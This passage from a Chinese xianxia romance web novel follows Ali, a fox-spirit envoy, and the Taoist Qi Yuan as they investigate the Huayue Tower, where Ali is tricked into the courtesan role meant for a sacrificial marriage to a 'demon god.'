阿离一惊,警惕地退了半步,一手挡在身前,一手掩在身后,赫然一副将要与他生死对决的模样。
“紧张什么?”来人轻巧一笑,“不是想见我么?”
阿离仍盯着他,回想起初见时对方一副要将她生吞活剥的模样,背后依旧冒冷汗。
不过后来经历江府一案,阿离心中的怒火怨气也逐渐消去,二人回归寻常轨迹,也因此有了半个朋友的缘分,阿离很快便收了如临大敌的架势,顺嘴讥讽道:“我以为你会很快。”
“……”
“没等到,以为你走了,就想看看。”越解释越不对劲,“总而言之,合作的事情,你考虑得怎么样?”
祁渊不知该对她扭转话题的方式持有什么态度,只冷冷道:“还没决定。”
阿离对他临时反悔的做法只有憎恨,“先前某人说了,只要我能进花月楼……”
“可以商量。”祁渊打断了她的话。
“好,怎么商量?”
“和你合作,有什么好处?”祁渊双手抱于胸前,脚步轻而稳地将房间角角落落丈量了一番,像是在嘲讽,她只能被花月楼安置在这样一个窄小又随意的地方。
阿离当然知道像祁渊这般清高自傲的道士不会对金银有任何欲望,所谓好处,自然指的是她能为他做到什么。
见阿离不语,祁渊继续语气冷峻地开口说道:“尽管你得到了进入花月楼的资格,但这并不代表你拥有挑起花月楼内部矛盾的能力。”
“你只是一个绿衣使者。”
“一个无权无势的绿衣使者身上,能有什么让人刮目相看的谈资?我说的对吗?小妖。”
面对这番话,阿离无话可说,因为祁渊问得好,也说得对,他让她认清现实,花月楼是盘踞在扬州城的地头蛇,势力庞大,就连妖界都不敢在明面上动它,更何况她这一张被甩出来的无用之牌。
阿离感觉自己的太阳穴位突突地疼,咬紧了后槽牙,才强逼着自己冷静下来,“仅凭一个绿衣使者,自然是成不了气候。但如若有道长祝我一臂之力,一切不都简单了吗?”
阿离知道对方想听什么,“何况,若我真是寻常的绿衣使者,怎会向一个道士提出请求?我的实力,比道长你想象中的还要高深的多。”
阿离的耐心比祁渊想象中的要多,“哦?若是我还不答应呢?”
眉梢轻佻,眸光轻蔑,薄唇上还勾着一抹淡淡的笑容,面对对方赤、裸、裸的挑衅,阿离像是再也按耐不住,气得浑身发抖,“竟然如此,还请道长离开,天下大道千万条,又不是非得找一个人合作才能完成任务,就算真要找人合作,也自有其他更好的人选,我们的缘分,想必是到此为止了。”
阿离扬手,准备送客,对方却用略胜于她的力道将冲动的手按下去。
阿离正在气头上,见对方的手压过来时,便率先一步将男人的手甩了开。她生气时听不见任何声音,只想提刀好好将祁渊教训一番。
祁渊看她,就像看见了一只爱炸毛的小狐狸,“你若真有合适的人选,一开始也不必来找我了。”
她见他眸底含笑,想也不想地回怼,“这些全都是你的臆想!”
“竟然不想答应,何苦吊着我?早早散了,大家老死不相往来,这就是上上策。”
若不是因为失去妖心,阿离根本不需要祁渊帮忙。
“所以,你觉得我是在吊着你?”
阿离根本不知道祁渊的重点在哪里。
“我,是你的唯一人选?”男人似乎有些兴奋了。
“不是,当然不是,怎么可能,扬州城没人了吗?”阿离连连否认,就是不想让祁渊这个登徒子得逞。
祁渊看着阿离留给他的后脑勺,说道:“的确没人了。”
“你是何时当上绿衣使者的?”
“关你屁事。”
祁渊笑了笑,“牌子是新的,证明你是刚刚上任,具体时间我知不知道都无所谓,我只需要知道,花月楼是你第一个任务,若是完不成,这也有可能是你最后一个任务。我说的对不对?”
阿离闻言十分疑惑,为何一个道士会对妖界使者的制度如此明晰?
不过,他竟然自以为是,那阿离就顺着他的意思,把话接下去。
她拥有一个崭新的绿叶令牌,她是新上任的、还未通过考验的绿衣使者,她的令牌随时都会因为她的失误而被收回。
而成为一名妖界使者,是她一生的理想和信仰。
“是,这次任务对我很重要。”
“但有你没你,结果都一样,你……”赶人的话还未说出,阿离却先因对方的话愣了愣。
“怎么可能结果都一样?有我,花月楼一定会被打败,且,省时省力。”
“呵,你还挺自信的。”
“不瞒大人,对于合作之事,我是有意向的,只是,”说到此处,祁渊停了停,抬眸与阿离四目相对,语气烦忧,“我与大人萍水相逢,对对方的底细全然不了解,怕是合作无法长久。”
?
阿离对祁渊话中内容心存警惕,但照他的意思是,知根知底,合作方能长久,如此说来,合作的可能性便大大增加了。
既然他想要她的底细,那她便给他。
“好!”
阿离爽快地应下,随后用一口气将自己的生平经历全摆在了祁渊面前。
“我来自涂山,是只狐狸精,如今两百岁,刻苦修炼了一百五十年,一年前终于通过考核,拿到绿衣使者令牌,十日前接到任务,然后就来了扬州城。”
祁渊面色沉沉,想来是说的不够多,但阿离也编不出来了,于是她开始硬夸。
“同龄妖族中,我也算天资聪颖,当上妖界使者只用了一百五十年,已经是使者中的佼佼者了。”
“我家中只有一个哥哥。他也是妖界使者,长得特别好看,比你好看。”
祁渊:“……”
“我对这些没兴趣。”
阿离满嘴谎话,
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把他当傻子骗。祁渊自然一眼就能看出,但他没拆穿,并且默默记住了这些谎话连篇的内容。
阿离有些丧气,嘟囔着嘴唇,“那你要怎样,才肯答应?”
祁渊笑而不语。
次日,两人约在了前些天祁渊喝茶的茶楼。
“我们现在要做什么?”阿离特别讨厌卖关子的人。
祁渊比了个“嘘”的手势,朝阿离身后挑了挑眉。这个意思是,有尾巴。
阿离:“等着。”
花月楼对阿离这个绿衣使者显示出了十足的敌意,不仅让阿离身处狼窝,处处身不由己,就连出门都要派两三只妖怪跟踪监视。
阿离出门,在茶楼门口的水果摊上买了一串葡萄,要求店家洗净之后装盘端上来桌子。
祁渊:“?”
阿离两耳不闻窗外事,两眼不见眼前人,只见她翘着兰花指将一粒葡萄送进了祁渊嘴边,“你知道的,我打不过他们。”
少女无奈的趴在祁渊耳边说话,话音传进身体里,胡乱跳动。
“从现在开始,怕是要委屈道长当一当我的姘头了。”
葡萄擦着薄唇被带进嘴里,汁液爆炸开来,酸酸甜甜的。
“就这样?”
“就这样。”
绿衣使者喜欢谁,花月楼管得着吗?
“说吧,现在我们要做什么?”
“花月楼叛变一事因缺乏实证,而无法定罪。如今我们需要做的,便是尽可能的收集证据。”
不多时,两人已经来到了街上,祁渊将脚步停在一处首饰摊子前,将一支金色发簪挑起,顺手给阿离带上。
阿离鄙夷,“俗气。”
祁渊微笑,将簪子放回。
阿离:“去哪收集证据?”
“过来。”
两人亦步亦趋,快速的拐进了好几道巷子,最后找到一处便于藏身的小角落,齐齐钻了进去。
角落里空间狭小,只要两人稍微活动一下身体,便能碰到对方的敏感部位,阿离直往墙上缩,恨不能嵌进去。
“忍忍。”祁渊低声说道。
下一秒,巷子中传来一阵匆忙的脚步声。
“人呢?”几个小喽啰面面相觑,“去那边看看!”
直到脚步声消失,两人才松了一口气,从狭小的空间里走出来。
一番折腾后,阿离更是好奇了,“你要说什么?”
只见祁渊从怀里掏出一封信,这信封一半黄皮,一半暗红,看起来像染过血。
阿离伸手去拿,两眼放光,“这就是线索?”
祁渊点头,却将信往后挪去,躲开了阿离的手,“这封信,便是花月楼想要的东西。”
阿离停了动作,不动声色道:“他们能要什么?”
祁渊:“绿衣大人突然出现在这扬州城,会不知道花月楼想要什么?”
阿离眸光一暗,杀意浮现,“道长,你又知道多少?”
“或许比你想象中的多。”说到这里,祁渊停了停,紧接着拆穿了她的所思所想,“别急着杀我,反正,你也杀不死我。”
“我们,我和你,始终是站在一处的。”
阿离被逗笑了,“说吧,要怎么才能把信给我。”
“小妖,可听过浮生镜,我要这个。”
祁渊轻轻扬手,丝毫不管阿离因为惊诧而瞪大的双眼,他用那未沾血的半封信拍了拍阿离的脑门,然后将其塞进了阿离手中。
祁渊咧嘴一笑,很快便消失在了巷尾。
浮生镜,他怎会知道有此神物?他又为何想要?
片刻,阿离从疑惑中回过神来,狠狠地咬着后槽牙,心道:想要浮生镜?做梦去吧!
7. 花月楼(六)
阿离认为祁渊狼子野心,想跑路,又奈何已经身在花月楼这巨大的狼窝,处处身不由己。
祁渊是助力的好手,可任务如何推进,关键还是在阿离自己。
前不久妖界监察使笛允在花月楼吃酒时被一道惊雷劈死一事,花月楼对外宣称这是天神将罪,此案已由紫衣使者萱宁盖棺定论,可妖都对此却提出了质疑。
一切缘由皆因七日前妖都意外受到了一封举报信,这封信从头到尾都在说一件事,扬州城妖怪头目——花月楼叛变。
阿离想重启监察使被雷劈案,但无奈花月楼人当她是空气,几次询问都用各种理由搪塞,遂而愈加不顺心。
一日复一日,阿离不是在花月楼闲逛就是去寻祁渊闲逛,这一脱,竟活生生拖到了二月十五。
这一日,花月楼是十分有百分的热闹。阿离察觉不对劲,捉住一只小妖一番打听才知,二月十五,是七日盛宴的开始。
七日盛宴是花月楼的传统节日,众人忙前忙后,好似人间迎春时才有的红火。
“春日是一年的开始,想要顺风顺水,就得办几场盛大的宴会,向妖神祈福。这是花月楼的习俗了,大人要是感兴趣,欢迎大人来看。”被捉住的小妖还算和颜悦色。
但阿离却是止不住的疑惑,“妖神?现今天界不是没了妖神吗?你们向谁祈福啊?”
那小妖被阿离的水灵灵的无辜大眼睛噎了一下,“这不是……不敢声张吗?”
他们确实没声张,近几日光顾花月楼的妖怪,都是与花月楼有着千丝万缕关系的老客人。
“那你们办这个宴会,可有什么特别的节目?”
“大人你……不查案子了吗?”小妖心怵,因为眼前这位使者大人前些日子一直黑脸,据说是在等楼主回来一见。
可楼主日理万机,怎会有时间见她一个小小的绿衣使者呢?隔壁那位凶巴巴的紫衣使者也还排着队呢。
“不查了,带我在你们这儿好好玩玩呗。”阿离露出一个笑,叫人如沐春风。
今日是盛宴第一晚,据说,花魁杜月将为宴会开场献上第一支舞。
阿离抬头,看向顶层那个被鲜花簇拥,暖香环绕的房间,嘴角咧开,勾起一个诡谲的笑容,脑海里逐渐浮现出一个大胆的想法。
离开场至少还有四个时辰……
于此同时,祁渊正一副清闲模样,立于离花月楼不远的一座高楼的屋檐之上,墨色长袍被风灌了满怀,锋利的眼眸远远地看着人间繁华热闹的花月楼。
旭日的金辉落在他身上,将墨色的眸子映成了珍贵琥珀。
骨节分明的手上捏着一道传音符,与之相连的另一道传音符,此时正贴在花月楼的某张桌子底下。
原本是天衣无缝,毕竟这道传音符已经运行了两日。
但,随着黄符上传出的声音愈来愈小,胸有成竹的道士终于意识到了不对劲。
约莫半晌,符里传来一道熟悉的声音,“道长?是你吗?”
符里的声音俏皮一笑。
“里边不安全,我帮你贴到外边去了。不远,就隔了一道墙吧,你仔细找找,应该能找到。”
正说着,阿离抄起旁边的闲置竹筐往符纸上一盖,隔开了那道尚未传来便被扼杀的语音。
“这符,也不好用啊。”说完,阿离拍了拍两手的灰尘,得意洋洋地离开。
晚上,花月楼迎来了四方宴请的贵客。
由于失去传音符不能继续偷窥的道士也在‘贵客’之中。只见祁渊两手交叉抱在胸前,全身紧绷地避过将他围成一圈,又身着清凉的揽客女子,一张帅气的脸沉下来,仿佛地府里严肃的判官,双手一勾,便叫人没了性命。
他很少来这种场合。一方面是不喜这般厉害的繁华热闹,另一方面是没机会。自少时修炼始,便追求一个静字。喜静的人是不会喜欢热闹的,至少祁渊是这样。
随意挑了一处角落坐下,不出半刻周身又围上了众多舞女。
“这位小哥,要来点什么吗?我们有桃花酥,杏花糕,还有许多琼瑶佳酿,诸如……”
这边正散发魅力兴致勃勃的介绍着,面前俊美的客人却面露难色,抬手打断了她的话,“一壶水,谢谢。”
“……”
能来花月楼的穷鬼也是不多见。
察觉是无趣又无财之人,绕是再多情的女子也不想靠近了。
所以,两三次的“围困”被破解后,祁渊身边便再没人停留了。
但还是有人忍不住去瞧他。
若是不知祁渊的道士身份,寻常人或许会遐想他是官府人家子弟,分明是置身烟花柳巷之地,却依旧挺直腰背,似竹如君子。
但祁渊这人不论是长相或是打扮都不算板正,一身玄色宽袖长衫,乌发披散在身后,单用一根玄黑鎏金的发带固定,脸部线条硬朗而分明,一对剑眉横飞入鬓,一双眸子深沉如深渊之水,特别是垂眸时,那双如绝峰山崖的眼里满是杀意,算翩翩公子颜如玉,也算杀人如麻鬼将军。
阿离立于祁渊正对面,他们之间,隔着千山万水。
一心喝水的祁渊自然注意不到阿离淬满鄙夷的目光。
而等到祁渊终于抬眼时,尽头的身影早已消失不见。
琴声响起后,嘈杂的人声被渐渐隐去。花魁杜月出现在舞台中间,流云般的灵动身姿,让她看上去像滚滚风尘里的仙。
但没有仙气。
因为她的双眸里多了神仙不会有的刻意和谄媚,所以她是光练了一身皮相,但骨子里却依旧不改妖怪的恶劣脾性。
仙风傲骨的人最烦风尘。
祁渊对此没有兴致,一双眸子垂着,指尖来来回回扣在茶杯上,发出一声声清脆的薄响。
骤然间,舞曲旋律一变,花魁杜月拉紧身前的长绳,正要纵身跃下,却被生生止住了舞步。
花魁未上场,台下却发出一声惊诧。
只见舞台上掉下一块幕布,一名身着红纱舞衣的蒙面女子手上紧紧缠着一条挂满铃声的长绸带子,先花魁一步自楼上一跃而下,飞舞而来。
人们惊诧地看着眼前这一幕,顿时失了语。
未登场的杜月则更为愣神,一时间忘了自己才是主角。仿佛时间在此停滞了一般,红衣女子借着带子轻盈落地,纤细的身姿曼妙一转,脚下的舞步便跟着曲子旋律自然而然的跳了起来,亦如神迹。
舞曲进入高潮,漫天花瓣飞舞而下,阿离就在此间,陶醉其中。她像红尘中的仙,像金色大漠里最鲜艳的血色玫瑰,面纱被掀下,露出万年难见的真容。
她是谁?!
杜月顿时五雷轰顶。
昨日的排练没有这一幕!
***
表演圆满结束,红衣女子在欢乐声中鞠躬谢幕。
“这位美人可是花月楼新捧的花魁?”
“肯定是啊,七日盛宴的第一支舞,只能由花魁来跳,她若不是,那还有谁能胜任呢?!”
众人欢呼,人群中仅一人变了脸色。
祁渊的薄唇紧抿,原先的樱红色褪去,苍白如纸,像是怒火中烧,他握着茶杯的指尖控不住力气,竟将这材质上好的琉璃生生捏碎,尖端刺进皮肤,溢出一颗大小如珍珠般鲜红的血。
她可知在此时抢风头意味着什么?
另一边,真正的花魁杜月听着外头的欢呼喝彩竟未有半分失态,她身着淡紫舞衣,一张瓜子脸,两弯柳叶眉,气质仪态绝佳,一对亮白珍珠耳坠悬落在锁骨的位置,媚态尽显。
她身后跟着一位婢女,正是今日同阿离闲聊的那位。
两人静静等候,不多时,一道赤红张扬的身影出现在眼前。
方才出尽风头的女子正缓步向两人走来,红绸金丝,轻盈无比,像是梦中诱惑的魇。
杜月见她时,眉头微蹙,心底漫过一种名为嫉妒的心思。
她知道,有一类人,天生丽质。
别人与生俱来的天赋,她便是努力一辈子也够不着。
“阿离大人。”见阿离来,杜月微微欠身,眼中的喜怒一概褪去,只剩一位花魁应该表现出来的怨恨。
“你可知为了今日,我付出了多少努力?”抢在阿离开口前,杜月声泪俱下,一副委屈极了的模样。
“我努力了两百年,才爬上了花魁的位置,如今却被你毁于一旦!”
杜月情绪激动的上前抓住阿离的双手,语气之绝望就像要拉着她同归于尽一样。
阿离自然也是觉得抱歉,“对不住啊,我……”
话被打断,“既然你想做这花魁,便好好做吧,我这花魁的名头,今日便送与你了。”
杜月的语气变了,不再狂躁崩溃,反倒是平静起来,眼睑上扬,一副上位者的姿态。
“这是何意?”阿离懵了。
“七日盛宴,向来只有一个花魁,这花魁你拿了,我便不能再拿,自然,就是这么个道理。”
美丽动人的五官上露出一个笑容,这笑混着眼泪,带着一种说不出的诡异与希冀。
阿离刚想要说话,奈何对方直接收了神情,转头就走。
留一脸懵的阿离在原地百思不得其解。
夜色漫长,盛大的宴会还在继续,阿离单着一身红绸舞衣,衣料单薄,是以想尽快返回自己的厢房,披上一件厚衣。
结果一开门,手腕便被一只大手拉住,阿离二话不说给对方来了一记过肩摔,但对方功夫过硬,临空翻转一圈后稳稳落地。
阿离看清来人,语气又是好奇又是疑惑,“祁渊?你怎么在这儿?”
“爬窗户进来的?”阿离瞥了一眼紧闭的窗户,皱起了眉。
“不是。”
“我管你是不是,出去。”阿离横眉。
“……”
“不出。”
不出是个什么道理?
原还想说什么赶人的硬话,奈何寒意透骨,阿离实在没忍住,打了个喷嚏。
祁渊见状下意识地去脱自己的外衫,但阿离看也没看,独自转去屏风后找起了厚衣裳。
谁知披上了外衣还是冷,阿离干脆利落地吩咐道:“要么出去,要么转过身去,我要换身衣裳。”
为什么不赶人?因为祁渊上次送来的那封信件,信的内容叫她胆寒,她得留他下来问个清楚。
这事关乎妖界,她必须知道。
外边立着的人听话的转过了身,他阖眼,以为这样就可以维护自己玉面君子的形象。
阿离今日这身舞衣穿戴极其复杂,发髻上,腰肢上,手腕上,脚踝上,全系着精致小巧的金铃。如今要换下这身舞衣,单是铃声随主人的动作不断隐隐发出的清脆声响,便足以叫人心生旖旎。
祁渊的道心再怎么坚定,也曾对一只妖怪动过心。
如今这只妖怪与他相隔一块屏风,亲密又遥远,这似乎是老谋深算的天道在考验他复仇的决心。
“你找我何事?可是关于那封信?这信你是从何处得来的?内容是真是假?还是说是你故意伪造用来诓骗我的?!”
人总爱浮想联翩,妖怪亦然。这一长
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串的问题在阿离心中郁积已久,只怕是再不解决就要积郁成疾了。
可祁渊现下并不想谈论这些,“我是来带你离开的。”
“离开?为何?我不去。”阿离闻言立马拒绝,她目前必须留在花月楼,不找到真相,绝不会轻易离开。
“阿离!”祁渊少有情绪跌宕,阿离隔着屏风,看见他的肩膀为此抖了抖,“信我,今夜你必须走。”
“你先告诉我那封信的来由,那封信是谁写的?”不知何时换好衣裳的阿离从身后窜到眼前,一双清灵的眼眸落在他眼里,写满了紧张,甚至是央求。
这几日她将那封血信翻来覆去的看,字里行间尽是写信之人的痛苦和绝望,信里写着——
……我的亲人,朋友,全都在一夜之间消失不见,起初我以为没事,他们只是临时外出,直至几日后,他们的魂灯骤然接连熄灭,我这才意识到是出事了。后来我努力寻找他们死亡的真相,终于发现了幕后真凶,是花月楼将他们的妖丹挖走,用来进行买卖,另外一些强大的妖怪用很多很多的灵石买下他们,吃掉他们……
我没有力量,我该怎么办?
如果这封信能送到你的手里,伟大的妖主大人,求求你惩罚他们吧!我愿为此付出我的一切。
这封求救信没能成功送进妖都,被幕后主使截断,中间亦不知经历了多少腥风血雨。
阿离心怀妖界众生,所以她必须知道关于这封信的一切线索。
祁渊动容,“这封信,是在扬州城外的山林里发现的,那时它被埋在土里,周边没有发现任何一具尸体。我不知真假,亦不是我要伪造其惨状来哄骗你,”
说到此处,祁渊顿了顿,微不可查地自嘲一笑,“将信给你,是因你为妖界使者,对妖界之事,自是大公无私,公平公正。”
听完,阿离心绪沉沉。
祁渊:“关于这封信,我只知道这么多,但今晚,你必须走,再晚就来不及了,你可知,你在今日跳了这本该由花魁跳的第一支舞有什么后果?”
阿离微诧的看他,心道:为何今日他们总说花魁之事?
不等开口,门外传来一阵咚咚的敲门声。
“使者大人在吗?我们楼主唤你过去。”
楼主?
阿离心下欢喜,急急地就要去开门迎人。
但快到门边却脚步一顿,她一边飞奔去打开窗户,深夜的冷风呼啦一声将她包裹,一边开口应着,“稍等片刻!”
阿离又跑去将祁渊推到窗边,“既然不是信的事情,我们也没什么可以说的,你快走吧!我得去查案了!”
“阿离!”他又拉住她的手。
“别应他们。”
今日的道士变得格外婆婆妈妈。
阿离不理他走不走,擅自回到门前,两声吱呀,走了个干净。
花月楼共有十二层,是扬州城最高的建筑。
愈往上走,耳边的乐曲声便愈来愈小,阿离被领着上了顶层,这是花月楼楼主的地盘。
说起花月楼楼主秦娘子,她当年可是闻名妖界的传奇人物。
据说前楼主捡到她的地方,是在活死人的坟墓里。传闻坟墓里幽火不灭,足足燃烧了七七四十九天。这七七四十九天毁去了秦娘子的容貌、声音,这才有了以后的黑纱掩面,阎罗名前。
人人都说,秦娘子的存在是不详之兆。
起初,所有妖怪都不承认秦娘子的存在,但前楼主力挺,加之秦娘子勤奋努力,在一向崇尚武力的妖族中声名鹊起,外界的声音开始逐渐消失,不到两百年,便成功坐上了花月楼楼主之位。
阿离对秦娘子的认知仅限于传闻,除此之外,她还知道,在扬州城,花月楼的威名有时可以压下妖主的名头,遭人忌惮。
但几百年前,秦娘子带领花月楼一直勤勤恳恳,挑不出半分错处,若是单凭一副血信就要污蔑花月楼叛变……
没有证据,不可妄下定论。
进了里屋,阿离果真看见一位面蒙黑色面纱的女子坐于主位,在她身旁几步的距离站着的是掌事碧云,由此阿离断定,这蒙面女子便是花月楼楼主秦娘子。
阿离向她行了一礼,以示尊重。
“听闻使者大人今日一直在找我,叫大人久等。”秦娘子缓缓开口,嗓音果然同传闻中一样,暗哑,像将死婴孩的啼哭,又像老人说话时沙沙的苍老。
阿离:“笛监察使的案子已经搁置许久,如今我带了妖主令前来,这案子是否可以马上重启,以还监察使一个真相呢?”
秦娘子看着面前这个年轻胆大的妖怪,免不得冷哼,“可以,当然可以。不过这七日盛宴是我们花月楼的大日子,不可中断,现今你抢了花魁之位,自是要担起花魁之责,让这七日盛宴得以进行下去。”
阿离心中不明所以,“我抢花魁的舞台是我不对,只是想找个机会见楼主一面罢了。既知道我不是花魁,便应当让原本的花魁杜月继续出面,何言‘担起花魁之责’呢?楼主还是快些把案子的细节交代给我,让我快些结案吧。”
秦娘子面色一沉,“花月楼有花月楼的规矩,不是你想来就来的地方。”
“谁跳了盛宴的第一支舞,谁便是花魁。”
“这样,使者大人只要帮忙尽了花魁应尽之责,我便将监察使一案的所有细节悉数奉上,如何?”秦娘子起身,缓步来到阿离身前,面纱之后露出让人不适的微笑。
秦娘子做了个手势,掌事碧云便端着一纸契约上来。
“我们楼主,向来是说到做到。”
8. 七日盛宴(一)
面前的这纸契约有着说不出的奇怪,但不论前方是刀山还是火海,为了查案,阿离必须签了契约。
一枚血红的指印按落在契约上,猩红夺目,又带着几分倔强。
宴会到太阳将升时才散去。
寅时,尚在被窝里做梦的阿离被人一把从床上拉起。
“做什么?”
房中突然出现一群笑意盈盈的女子,察觉到她们妖力不济,阿离也就放宽了心想一头扎进温暖的被窝里。
但是没成功。
她们拉着她到了梳妆台,铜镜中的女子睡眼惺忪,精致的五官端正又不失妩媚,唇红齿白。
“这张脸真是叫人羡慕。”阿离听见帮她梳头的女子叹道。
自然,她可是万年难遇的狐狸精。
被侍弄得没了困意,阿离问:“你们这是在干什么?”
“花魁大人,今日是七日盛宴的第二日,是要上花车巡游的。”不好再说使者,又不好不称大人,于是有了这么一个不恰当的称呼。
“花车?”阿离喃喃,发出的嗓音如梦里的呓语。
“我们这七日盛宴可有讲究了,第一日,花魁献上第一支舞,以证天资,第二日,花魁坐花车巡游,以显风貌,这第三日到第五日,花魁需在镜花水月中舞蹈,丝毫不能停歇,外边的那些男子便可上来争抢送亲队伍的名额,到了第六日,花魁大人便可准备出嫁了……”
等等!
尚在梦里的妖怪猛然清醒过来,方才耳边嗡嗡地,应是做了个噩梦。
“你再说一遍!”阿离偏头,刚刚簪上去的首饰缠在一起,发出哗啦哗啦的响声。
“到第六日……花魁大人便可准备出嫁了……”
阿离顿觉五雷轰顶。
“出嫁?嫁给谁?”
“魔神。”
直到坐上了花车,阿离依旧没有回过神来。
“快看!是新花魁!”
这一天,扬州城久违的见了阳光,普通人家是绝不会进花月楼这个是非之地的,只有在二月十六这一天,才能得见能让贵人们一掷千金的花魁。
七八岁的稚童兴奋的跟着花车跑了一路,手上捧着精心采摘的鲜花,像是一定要将它送到花魁的手里才能表达自己的心意。
花车上的女子却是正襟危坐,一路垂着头,不敢接下一束花。
漫天的花瓣随风落在她的发间,一段路走完,花瓣便落了满头。
这让她看起来更加惹人怜惜,像一块晶莹剔透的玉石,尚待雕琢。
“阿离。”花车上忽然出现这么一道声音,阿离被吓一激灵,发现脚边不知什么时候飘来了一道传音符。
是祁渊。
阿离悄然将传音符收在袖间,一路上高悬着的心不知为何忽然学会了平静。
“别怕,我陪你走完。”
此话一出,阿离便急着转头去寻找人群里是否有熟悉的身影。
寻到时,阿离不觉露出一抹笑意。
“谁怕了。”阿离轻声反驳。
祁渊身高八尺,在人群中自然是突兀又扎眼。
他与她的花车差着一点距离,却亦步亦趋,不紧不慢地跟着她的身后。
“转头,坐好。”
祁渊嗓音沉沉,仿佛还含了些笑意。
“你为何会出现?”
“不想让你死,若你死了,我靠什么扳倒花月楼?”祁渊倒是直接了当,没再和阿离绕弯子。
“为何会死?他们口中的七日盛宴,究竟是什么?”
“每五十年,花月楼便会挑选合格的妖怪成为花魁献祭‘魔神’。”祁渊静静地看着花车上的人,眸光幽幽地,不知在想些什么。
“至于剩下的年数,每五年,花月楼则是真正的为培养许久的花魁谋一个好人家,风风光光的将她们嫁出去。”所以今日的热闹景象,对扬州城来说是惯例,更是特别的节日。
“这些花魁,都是凡人。她们的夫家通常在城外,相隔甚远。只要一出城,她们便会踏上一条不归路,从此消失。”
此话一出,阿离便跟着了然。
花魁出嫁,不过一场大戏,花月楼每五年就要向所谓的魔神献祭,他们如此大费周章,想必就单是为了隐瞒妖都。
可她是妖界使者啊?花月楼竟然可以做到无视妖主的地步了吗?
“第一支舞,是为魔神相看。谁跳了这第一支舞,谁就是被魔神选中的妻子。哪怕这人不愿,花月楼也会想尽办法让这个人成功出嫁,比如,签一纸傀儡契约。”
“昨日我跟了上去,但是,”祁渊说到这里,不禁露出一副懊悔叹气的神情,“没成功。”
花月楼似乎料定他会来,提前布了阵法,待他成功破解之时,不知情的阿离已然签好了那份傀儡契约,一切再无挽回的余地。
“不过不必担心,花月楼是不会得逞的。”骤然,男人的眸光变得深沉。
“这又为何?凡人之躯,怎么扳倒参天巨树?纵然是天赋异禀,根骨绝佳,都未必能保证全身而退,又何谈救人于水火呢?”
祁渊敛着眉问:“所以,你觉得我们会输?”
“自然不会,不过赢的条件是什么,还需要好好验证一番。”说完,阿离莞尔一笑,倾城倾国。
阿离将袖口中的符纸抽出一角放在掌心,轻轻揉搓,沙沙的摩挲声透过符纸传了过去,像宣战前的平静。
扬州城很大,花车又走得太慢,阿离耳边的喧闹被这一字一句平静的话语逐渐压了下去。
“祁渊。”她悄然开口,倒是叫祁渊怔了一瞬。
“再说些别的话吧,我想听。”
“就比如,你平日里除了捉妖还干什么?看书写字吗?”
哪知对方薄唇轻启,给了个意想不到的答案,“听戏文。”
“你看起来不爱这些。”阿离十分意外。
“从前不爱,但后来,认识了一个人,总听,听多了就喜欢上了。”
昆仑山的符咒质量不错,花车上轻轻的嗓音飘来,还能听见微微的笑音。
祁渊也笑,丰神俊朗的容颜徒添了几分温柔,如沐春风。
两人就这样闲聊了一路,漫长的花车巡游似乎很快就结束了。阿离被簇拥着回了花月楼,途中总在转头,想要寻一寻人群中熟悉的身影。但她没找到,向来洁身自好的道士喜静喜净,他不像旁人那般争先恐后好像也可以理解。
不知为何,阿离心底突然萌生出几分失落。
第二日盛宴,花月楼内照样歌舞升平。
阿离在房中休息,夜风从窗外吹来,银丝般的细雨落在窗台,带来阵阵寒意。
如今才第二日,虽说是累,却又未达到万分痛苦的程度。祁渊如此担心,想必是接下来的日子不好过。
解衣欲睡,这时,门外传来咚咚的敲门声。
这就来了?
开门一看,是杜月的贴身婢子。
“花魁大人,我家姑娘请你过去一叙。”
比起江家府邸,花月楼的道路少了许多弯弯绕绕,婢女带着阿离来到了花魁的香房。这儿看起来可比阿离的小厢房大了三倍不止。
花魁房中,各色异香萦绕。
其中最独特的,当属一记奇特的怪香——檀罗。
檀罗长在妖界,是一记毒药,身中檀罗香者,醉生梦死。初任花月楼楼主逼迫那些无亲无友,力量弱小的妖怪吃下檀罗草,随后制出檀罗香以达到控制的目的,让他们心甘情愿为花月楼卖命。后来,花月楼一步步爬进了妖界的权力中心,手握重权,花月楼做的第一件事便是买断妖界所有的檀罗。
几百年过去,檀罗经过花月楼的改善,已经变成了另一种毒药。虽不致命,但无人知,不可解。
据说檀罗之毒需要内服方起作用,而檀罗香则是用于日常舒缓,避免毒性突然发作。
杜月见她到了,摆了摆手屏退房里的丫环。
只见满脸杜月疲惫地坐在了铜镜前,她上身披了一件薄纱,只见她稍微一动,便把那件薄纱从肩上摘了下去,白皙的肌肤上布满深深浅浅的鞭痕,如同洁白的布被骤然泼上杂乱的水墨,脏兮兮,又叫人怜惜,薄纱一路滑到纤细的腰肢上,才乍然露出了一大片树皮模样的疤痕。
这疤的出现似乎很突兀,因为她上次在花魁的身上并没有看见。
阿离开始仔细地打量她。
杜月长了一张瓜子脸,眉细似柳叶银针,天生冷淡的容颜看上去像超凡脱俗的仙。似乎是因为伤势,杜月的唇上没再粘粉胭脂,两瓣唇由里而外的露出一种青灰的苍白,只有繁杂的发髻上
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,依旧戴了两朵艳而不俗的海棠花。
在阿离所见的女子里面,杜月的容颜算是上等了。
接着她又想到杜月的出身……半妖。
妖界是歧视半妖的,因为他们的血脉不纯正,也因为很多妖怪都讨厌凡人,而半妖,就是人和妖的结晶。
“两百年前,我的妖怪娘亲爱上了一个凡人。”就像妖界许多故事的开头,杜月的故事拥有着相差无几的结局,“爹爹知道娘亲是妖怪后,毅然决然地抛弃了她。我被娘亲送来花月楼,努力争斗了近百年,直至五年前,才当上了花魁。”
像是在陈述一个与自己无关的故事,杜月的嗓音里已经听不出任何的情绪。
她重新将衣服穿上,“我是半妖,寿命虽比凡人长得多,和妖怪比起来却是短命。”她想起自己身上无处不在的树皮,那是娘亲留给她的印记,也是禁锢她的枷锁,平日为了上台,她费尽心思将这道天生的疤痕隐藏或是抹去,她用过很多办法,包括用小刀将这丑陋的树皮割下。
但这是她的血肉,无法割舍的。
“我总在想一个问题,为何,我的娘亲偏要将我送来花月楼?就像将一只自由的山雀关在狭小的笼子里,虽见天日,却不得自由。”
说到这里,她才真正显露出了情绪,将手里的金簪刺进肉里,她早已习惯用疼痛来缓解将要爆发的情绪。
阿离不予置否,等杜月将一切说完,她才告诉她,“绿城青青,风无边际。我不过是个小人物而已,救不了所有人。”
绿城青青,风无边际。
这便是阿离刚进花月楼时用的暗号。只是一个属于妖界低阶使者的暗号,但妖界人人皆知,也因此为傲。
